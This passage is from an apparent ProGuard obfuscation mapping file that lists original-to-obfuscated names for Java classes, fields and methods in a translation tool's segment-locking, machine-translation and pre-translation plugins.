java.util.Map lockedContextResult -> zH + java.util.Map tuNumResult -> zI + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + java.lang.String[][] getTableViewerInput() -> fP + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void setTableViewer(org.eclipse.jface.viewers.TableViewer) -> b + void setLockedInnerRepeatedResault(java.util.Map) -> k + void setLockedFullMatchResult(java.util.Map) -> l + void setLockedContextResult(java.util.Map) -> m + void setTuNumResult(java.util.Map) -> n + int getLockedContextResult(java.lang.String) -> et + int getLockedFullMatchResult(java.lang.String) -> eu + int getLockedInnerRepeatedResault(java.lang.String) -> eD +net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.lockrepeat.dialog.f: + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog this$0 -> zJ + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler -> net.heartsome.cat.ts.lockrepeat.handler.a: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + org.eclipse.ui.IWorkbenchWindow window -> window + boolean isLocked -> dY + java.util.List list -> list + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable nattable -> zK + boolean continuee -> zL + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable singleNattable -> zM + net.heartsome.cat.ts.tm.match.TmMatcher tmMatcher -> zN + org.eclipse.core.resources.IProject curProject -> zO + boolean isCancel -> zP + boolean isLockInnerRepeatedSegment -> RW + boolean isLockTM100Segment -> RX + boolean isLockTM101Segment -> RY + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute + net.heartsome.cat.ts.lockrepeat.handler.LockTMSegment lockTMSegmentOFEditor(java.util.List,boolean,boolean,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.ts.lockrepeat.handler.LockTMSegment lockTMSegment(java.util.List,boolean,boolean,org.eclipse.core.runtime.IProgressMonitor) -> b + void lockTU(net.heartsome.cat.ts.core.file.XLFHandler,java.util.Map) -> a + java.util.Map lockInnerRepeatedSegment(java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> a + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int) -> a + boolean hasWrongResults(java.util.List,net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog) -> a + java.util.List access$0(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> a + org.eclipse.swt.widgets.Shell access$1(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> b + void access$2(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,org.eclipse.core.resources.IProject) -> a + boolean access$3(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> c + net.heartsome.cat.ts.lockrepeat.handler.LockTMSegment access$4(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,java.util.List,boolean,boolean,org.eclipse.core.runtime.IProgressMonitor) -> a + boolean access$5(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> d + boolean access$6(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> e + net.heartsome.cat.ts.lockrepeat.handler.LockTMSegment access$7(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,java.util.List,boolean,boolean,org.eclipse.core.runtime.IProgressMonitor) -> b + java.util.Map access$8(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> a + boolean access$9(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,java.util.List,net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$10(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> f + org.eclipse.ui.IWorkbenchWindow access$11(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> g + void access$12(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$13(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> h + void access$14(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler,boolean) -> a + boolean access$15(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler) -> i +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$1 -> net.heartsome.cat.ts.lockrepeat.handler.b: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog val$dialog -> zR + org.eclipse.core.commands.ExecutionEvent val$event -> zS + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler access$0(net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$1) -> a +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$1$1 -> net.heartsome.cat.ts.lockrepeat.handler.c: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$1 this$1 -> zT + org.eclipse.core.commands.ExecutionEvent val$event -> zS + net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog val$lrsrd -> zU + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$2 -> net.heartsome.cat.ts.lockrepeat.handler.d: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$3 -> net.heartsome.cat.ts.lockrepeat.handler.e: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + java.util.List val$iFileList -> zV + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$4 -> net.heartsome.cat.ts.lockrepeat.handler.f: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + org.eclipse.core.resources.IFile val$iFile -> zW + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$5 -> net.heartsome.cat.ts.lockrepeat.handler.g: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$6 -> net.heartsome.cat.ts.lockrepeat.handler.h: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + org.eclipse.ui.IEditorReference[] val$editorRefes -> zX + org.eclipse.ui.IEditorInput val$input -> zY + java.util.Map$Entry val$rowIdsEntry -> zZ + java.lang.String val$fileLC -> Aa + net.heartsome.cat.ts.core.file.XLFHandler val$xlfHandler -> Ab + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler$7 -> net.heartsome.cat.ts.lockrepeat.handler.i: + net.heartsome.cat.ts.lockrepeat.handler.LockRepeatedSegmentHandler this$0 -> zQ + org.eclipse.core.resources.IFile val$iFile -> zW + void run() -> run +net.heartsome.cat.ts.lockrepeat.handler.LockTMSegment -> net.heartsome.cat.ts.lockrepeat.handler.j: + org.slf4j.Logger logger -> logger + boolean isLockedContextMatch -> Ac + boolean isLockedFullMatch -> Ad + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + net.heartsome.cat.ts.tm.match.TmMatcher tmMatcher -> zN + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfoBean -> Ae + int contextSize -> nX + java.util.List xlfFiles -> Af + org.eclipse.core.resources.IProject curProject -> zO + java.lang.String SRCLANG -> Ag + java.lang.String TAGLANG -> Ah + java.lang.String XPATH_ALL_TU -> XPATH_ALL_TU + java.lang.String XP_FILE -> Ai + int CONSTANT£ßONE -> uZ + java.util.Map tuNumResult -> zI + java.util.Map lockedFullMatchResult -> zG + java.util.Map lockedContextResult -> zH + java.util.Map needLockRowIdMap -> Ak + boolean executeTranslation(org.eclipse.core.runtime.IProgressMonitor) -> s + void searchTmAndLockTu(java.lang.String,java.lang.String,java.lang.String,java.util.Map) -> a + void setLockedContextMatch(boolean) -> u + void setLockedFullMatch(boolean) -> v + java.util.Map getLockedFullMatchResult() -> fQ + java.util.Map getLockedContextResult() -> fR + java.util.Map getTuNumResult() -> fS + java.util.Map getNeedLockRowIdMap() -> fT + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int) -> a +net.heartsome.cat.ts.lockrepeat.resource.ImageConstant -> net.heartsome.cat.ts.lockrepeat.resource.a: + java.lang.String TRANSLATE_LOCKREPEATED_LOGO -> Al +net.heartsome.cat.ts.lockrepeat.resource.Messages -> net.heartsome.cat.ts.lockrepeat.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.machinetranslation.Activator -> net.heartsome.cat.ts.machinetranslation.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.machinetranslation.Activator plugin -> va + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.machinetranslation.Activator getDefault() -> cr + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.eclipse.jface.resource.ImageDescriptor getIconDescriptor(java.lang.String) -> getIconDescriptor +net.heartsome.cat.ts.machinetranslation.BingTransUtils -> net.heartsome.cat.ts.machinetranslation.b: + com.memetix.mst.language.Language processLanguage(java.lang.String) -> bw +net.heartsome.cat.ts.machinetranslation.GoogleTransUtils -> net.heartsome.cat.ts.machinetranslation.c: + com.google.api.translate.Language processLanguage(java.lang.String) -> co +net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls -> net.heartsome.cat.ts.machinetranslation.d: + org.slf4j.Logger logger -> logger + void executeTranslation(java.util.List,org.eclipse.swt.widgets.Shell) -> a +net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls$1 -> net.heartsome.cat.ts.machinetranslation.e: + net.heartsome.cat.ts.core.file.XLFHandler val$xlfHandler -> Ab + java.util.List val$filesWithOsPath -> Aq + org.eclipse.core.resources.IProject val$project -> Ar + net.heartsome.cat.ts.machinetranslation.bean.PreMachineTransParameters val$parameters -> vb + java.util.List val$lstFile -> As + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls$1$1 -> net.heartsome.cat.ts.machinetranslation.f: + net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls$1 this$1 -> vc + void run() -> run +net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls$1$2 -> net.heartsome.cat.ts.machinetranslation.g: + net.heartsome.cat.ts.machinetranslation.PreMachineTransUitls$1 this$1 -> vc + java.util.List val$lstFile -> As + void run() -> run +net.heartsome.cat.ts.machinetranslation.PreMachineTranslation -> net.heartsome.cat.ts.machinetranslation.h: + org.slf4j.Logger logger -> logger + net.heartsome.cat.ts.machinetranslation.bean.PreMachineTransParameters parameters -> vd + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + java.util.List xlfFiles -> Af + java.util.List transCounters -> Ay + net.heartsome.cat.ts.machinetranslation.bean.PreMachineTranslationCounter currentCounter -> ve + java.util.List simpleMatchers -> vf + java.util.List executeTranslation(org.eclipse.core.runtime.IProgressMonitor) -> t + void clearResources() -> clearResources + void keepCurrentMatchs(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,com.ximpleware.XMLModifier,org.eclipse.core.runtime.IProgressMonitor) -> a + void updateXliffFile(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,com.ximpleware.XMLModifier) -> b + java.util.List getMacthers() -> cv + java.lang.String executeSimpleMatch(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,com.ximpleware.XMLModifier) -> a + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean getTransUnitInfo(net.heartsome.xml.vtdimpl.VTDUtils) -> e +net.heartsome.cat.ts.machinetranslation.SimpleMatcherBingImpl -> net.heartsome.cat.ts.machinetranslation.i: + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters parameters -> vg + java.lang.String type -> type + java.lang.String toolId -> vh + java.lang.String origin -> vi + java.lang.String getMatcherType() -> getMatcherType + java.lang.String getMathcerToolId() -> getMathcerToolId + boolean matchChecker() -> matchChecker + java.lang.String executeMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> executeMatch + boolean isSuportPreTrans() -> isSuportPreTrans + boolean isOverwriteMatch() -> isOverwriteMatch + java.lang.String getMathcerOrigin() -> getMathcerOrigin + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.machinetranslation.SimpleMatcherGoogleImpl -> net.heartsome.cat.ts.machinetranslation.j: + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters parameters -> vg + java.lang.String type -> type + java.lang.String toolId -> vh + java.lang.String origin -> vi + boolean matchChecker() -> matchChecker + java.lang.String executeMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> executeMatch + boolean isSuportPreTrans() -> isSuportPreTrans + boolean isOverwriteMatch() -> isOverwriteMatch + java.lang.String getMatcherType() -> getMatcherType + java.lang.String getMathcerToolId() -> getMathcerToolId + java.lang.String getMathcerOrigin() -> getMathcerOrigin +net.heartsome.cat.ts.machinetranslation.bean.IPreferenceConstant -> net.heartsome.cat.ts.machinetranslation.bean.a: + java.lang.String GOOGLE_STATE -> vj + java.lang.String GOOGLE_KEY -> vk + java.lang.String BING_STATE -> vl + java.lang.String BING_ID -> vm + java.lang.String BING_KEY -> xB + java.lang.String ALWAYS_ACCESS -> xC + java.lang.String MANUAL_ACCESS -> xD + java.lang.String IGNORE_EXACT_MATCH -> xE + java.lang.String INGORE_LOCK -> xF +net.heartsome.cat.ts.machinetranslation.bean.PreMachineTransParameters -> net.heartsome.cat.ts.machinetranslation.bean.b: + boolean isGoogleTranslate -> xG + boolean isBingTranslate -> xH + boolean isIgnoreExactMatch -> AB + boolean isIgnoreLock -> AC + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters pefrenceParameters -> AD + boolean isGoogleTranslate() -> eq + void setGoogleTranslate(boolean) -> q + boolean isBingTranslate() -> eR + void setBingTranslate(boolean) -> r + boolean isIgnoreExactMatch() -> isIgnoreExactMatch + void setIgnoreExactMatch(boolean) -> S + boolean isIgnoreLock() -> isIgnoreLock + void setIgnoreLock(boolean) -> T + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters getPefrenceParameters() -> eS + void setPefrenceParameters(net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters) -> a +net.heartsome.cat.ts.machinetranslation.bean.PreMachineTranslationCounter -> net.heartsome.cat.ts.machinetranslation.bean.c: + int transTuCount -> AL + int lockedFullCount -> AM + int lockedContextCount -> AN + int tuNumber -> AO + java.lang.String currentFile -> AP + void countTransTu() -> ga + void countLockedFullMatch() -> gb + void countLockedContextmatch() -> gc + int getTransTuCount() -> gd + int getLockedFullCount() -> ge + int getLockedContextCount() -> gf + int getTuNumber() -> gg + void setTuNumber(int) -> s + java.lang.String getCurrentFile() -> gh +net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters -> net.heartsome.cat.ts.machinetranslation.bean.d: + java.lang.String goolgeKey -> AE + boolean googleState -> AF + boolean bingState -> AG + java.lang.String bingId -> AK + java.lang.String bingKey -> AQ + boolean isAlwaysAccess -> AV + boolean isManualAccess -> AW + org.eclipse.jface.preference.IPreferenceStore ps -> nP + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters instance -> AX + net.heartsome.cat.ts.machinetranslation.bean.PrefrenceParameters getInstance() -> eT + void loadPrefrence() -> eU + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + java.lang.String getAccessStrategy() -> eV + boolean isAlwaysAccess() -> eW + boolean isManualAccess() -> eX + java.lang.String getGoolgeKey() -> eY + boolean isGoogleState() -> fi + boolean isBingState() -> fj + java.lang.String getBingId() -> fk + java.lang.String getBingKey() -> fV +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog -> net.heartsome.cat.ts.machinetranslation.dialog.a: + org.eclipse.jface.viewers.TableViewer viewer -> qF + java.util.Map xliffInofs -> AR + net.heartsome.cat.ts.machinetranslation.bean.PreMachineTransParameters paramerters -> AY + org.eclipse.swt.widgets.Button googleBtn -> AZ + org.eclipse.swt.widgets.Button bingBtn -> Ba + org.eclipse.swt.graphics.Image logoImage -> zy + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void createInputPageContent(org.eclipse.swt.widgets.Composite) -> ae + void createSelectArea(org.eclipse.swt.widgets.Composite) -> af + java.lang.String[][] getTableViewerInput() -> fP + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void okPressed() -> okPressed + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean close() -> close +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog$1 -> net.heartsome.cat.ts.machinetranslation.dialog.b: + net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog this$0 -> Bb + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog$2 -> net.heartsome.cat.ts.machinetranslation.dialog.c: + net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog this$0 -> Bb + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog$3 -> net.heartsome.cat.ts.machinetranslation.dialog.d: + net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog this$0 -> Bb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.machinetranslation.dialog.e: + net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationDialog this$0 -> Bb + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationResultDialog -> net.heartsome.cat.ts.machinetranslation.dialog.f: + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List preTransResult -> AT + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + java.lang.String[][] getTableViewerInput() -> fP + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void setTableViewer(org.eclipse.jface.viewers.TableViewer) -> b + boolean close() -> close +net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationResultDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.machinetranslation.dialog.g: + net.heartsome.cat.ts.machinetranslation.dialog.PreMachineTranslationResultDialog this$0 -> Bc + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.machinetranslation.handler.ExcutePreMachineTranlateHandler -> net.heartsome.cat.ts.machinetranslation.handler.a: + org.slf4j.Logger logger -> logger + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute +net.heartsome.cat.ts.machinetranslation.handler.ExecuteBingTransHandler -> net.heartsome.cat.ts.machinetranslation.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.machinetranslation.handler.ExecuteGoogleTransHandler -> net.heartsome.cat.ts.machinetranslation.handler.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferenceInitializer -> net.heartsome.cat.ts.machinetranslation.prefrence.a: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage -> net.heartsome.cat.ts.machinetranslation.prefrence.b: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore ps -> nP + org.eclipse.swt.widgets.Label googleStateLabel -> Bd + org.eclipse.swt.widgets.Label bingStateLable -> Gw + org.eclipse.swt.graphics.Image rightImage -> RH + org.eclipse.swt.graphics.Image errorImage -> RZ + org.eclipse.swt.widgets.Text googleKeyText -> UJ + boolean googleState -> AF + boolean bingState -> AG + org.eclipse.swt.widgets.Text idText -> YV + org.eclipse.swt.widgets.Text bingKeyText -> abC + org.eclipse.swt.widgets.Button alwaysAccessBtn -> agK + org.eclipse.swt.widgets.Button manualAccessBtn -> agL + org.eclipse.swt.widgets.Button ignoreExactMatchBtn -> agN + org.eclipse.swt.widgets.Button ignoreLockBtn -> aiu + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Composite createGoogleTranslateArea(org.eclipse.swt.widgets.Composite) -> ag + org.eclipse.swt.widgets.Composite createBingTranslateArea(org.eclipse.swt.widgets.Composite) -> ah + org.eclipse.swt.widgets.Composite createIgnoreArea(org.eclipse.swt.widgets.Composite) -> ai + org.eclipse.swt.widgets.Composite createTranslateSettingArea(org.eclipse.swt.widgets.Composite) -> aj + void performDefaults() -> performDefaults + void performApply() -> performApply + boolean performOk() -> performOk + void googleValidator() -> fW + void bingValidator() -> gi + void setDefaultValues() -> setDefaultValues + void setValues() -> gj + void setComponentsState() -> gk + void dispose() -> dispose + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> a + void access$1(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> b + void access$2(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> c + boolean access$3(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> d + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> e + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> f + void access$6(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> g + boolean access$7(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage) -> h + void access$8(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage,boolean) -> a + void access$9(net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage,boolean) -> b +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$1 -> net.heartsome.cat.ts.machinetranslation.prefrence.c: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$2 -> net.heartsome.cat.ts.machinetranslation.prefrence.d: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$3 -> net.heartsome.cat.ts.machinetranslation.prefrence.e: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$4 -> net.heartsome.cat.ts.machinetranslation.prefrence.f: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$5 -> net.heartsome.cat.ts.machinetranslation.prefrence.g: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + java.lang.String val$googleKey -> aiT + void run() -> run +net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage$6 -> net.heartsome.cat.ts.machinetranslation.prefrence.h: + net.heartsome.cat.ts.machinetranslation.prefrence.MachineTranslationPreferencePage this$0 -> aiv + void run() -> run +net.heartsome.cat.ts.machinetranslation.resource.Messages -> net.heartsome.cat.ts.machinetranslation.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.pretranslation.Activator -> net.heartsome.cat.ts.pretranslation.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.pretranslation.Activator plugin -> Ap + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.pretranslation.Activator getDefault() -> fU + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.eclipse.jface.resource.ImageDescriptor getIconDescriptor(java.lang.String) -> getIconDescriptor +net.heartsome.cat.ts.pretranslation.PreTransUitls -> net.heartsome.cat.ts.pretranslation.b: + org.slf4j.Logger logger -> logger + void executeTranslation(java.util.List,org.eclipse.swt.widgets.Shell) -> a +net.heartsome.cat.ts.pretranslation.PreTransUitls$1 -> net.heartsome.cat.ts.pretranslation.c: + net.heartsome.cat.ts.core.file.XLFHandler val$xlfHandler -> Ab + java.util.List val$filesWithOsPath -> Aq + org.eclipse.core.resources.IProject val$project -> Ar + net.heartsome.cat.ts.pretranslation.bean.PreTransParameters val$parameters -> ajf + org.eclipse.swt.widgets.Shell val$shell -> ct + java.util.List val$lstFile -> As + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.pretranslation.PreTransUitls$1$1 -> net.heartsome.cat.ts.pretranslation.d: + net.heartsome.cat.ts.pretranslation.PreTransUitls$1 this$1 -> At + org.eclipse.swt.widgets.Shell val$shell -> ct + java.util.List val$result -> Au + void run() -> run +net.heartsome.cat.ts.pretranslation.PreTransUitls$1$2 -> net.heartsome.cat.ts.pretranslation.e: + net.heartsome.cat.ts.pretranslation.PreTransUitls$1 this$1 -> At + java.util.List val$lstFile -> As + void run() -> run +net.heartsome.cat.ts.pretranslation.PreTranslation -> net.heartsome.cat.ts.pretranslation.f: + org.slf4j.Logger logger -> logger + int updateStrategy -> Aw + net.heartsome.cat.ts.pretranslation.bean.PreTransParameters parameters -> Av + org.eclipse.core.resources.IProject currentProject -> Ax + net.heartsome.cat.ts.tm.match.TmMatcher tmMatcher -> zN + int contextSize -> nX + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + java.util.List xlfFiles -> Af + java.util.List transCounters -> Ay + net.heartsome.cat.ts.pretranslation.bean.PreTranslationCounter currentCounter -> Az + java.util.List executeTranslation(org.eclipse.core.runtime.IProgressMonitor) -> t + void clearResources() -> clearResources + void checkMaxMatchSize(java.util.Vector) -> b + void keepCurrentMatchs(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,com.ximpleware.XMLModifier,org.eclipse.core.runtime.IProgressMonitor) -> a + void 